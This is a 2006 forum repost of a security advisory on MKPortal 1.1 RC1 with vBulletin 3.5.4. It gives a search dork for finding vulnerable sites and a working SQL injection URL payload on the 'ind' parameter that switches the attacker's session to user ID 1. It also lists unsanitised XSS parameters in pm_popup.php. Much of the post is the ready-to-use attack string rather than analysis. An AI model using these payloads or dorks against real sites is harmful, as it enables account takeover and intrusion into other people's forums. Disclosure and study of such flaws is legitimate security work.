MKPortal <= 1.1 RC1 with vBulletin <= 3.5.4

Gonzalez

Posted December 5, 2006

- Report

Posted December 5, 2006

Dorks: "MKPortal 1.1 RC1"

Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: [mail]nukedx@nukedx.com[/mail] web: [url]http://www.nukedx.com
This[/url] exploit works on MKPortal <= 1.1 RC1 with vBulletin <= 3.5.4
[url]http://[victim]/[/url][mkportaldir]/index.php?ind=',userid='1
With this example you can change your session's userid to 1.
Original advisory: [url]http://www.nukedx.com/?viewdoc=26[/url] 

# nukedx.com [2006-04-21]

--Security Report--
Advisory: vBulletin <= 3.5.4 with MKPortal 1.1 Remote SQL Injection 
Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/04/06 22:36 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx at nukedx.com
Web: [url]http://www.nukedx.com[/url]
}
---
Vendor: MKPortal ([url]http://www.mkportal.it/[/url])
Version: 1.1 RC1 and prior versions must be affected. (Runs on vBulletin!)
About: Via this methods remote attacker can inject arbitrary SQL queries to 
ind parameter in index.php of MKPortal.
Vulnerable code can be found in the file 
mkportal/include/VB/vb_board_functions.php at line 35-37, as you can see it 
easy to
by pass this SQL update function.
Also there is cross-site scripting vulnerability in pm_popup.php the 
parameters u1,m1,m2,m3,m4 did not sanitized properly.
Level: Critical
---
How&Example: 
SQL Injection :

GET -> [url]http://[victim]/[/url][mkportaldir]/index.php?ind=[SQL]
EXAMPLE -> [url]http://[victim]/[/url][mkportaldir]/index.php?ind=',userid='1
So with this example remote attacker updates his session's userid to 1 and 
after refreshing the page he can logs as userid 1.

XSS:
GET -> 

[url]http://[victim]/[/url][mkportaldir]/includes/pm_popup.php?u1=[XSS]&m1=[XSS]&m2=[XSS]&m3=[XSS]&m4=[XSS]

---
Timeline:
* 21/04/2006: Vulnerability found.
* 21/04/2006: Contacted with vendor and waiting reply.
---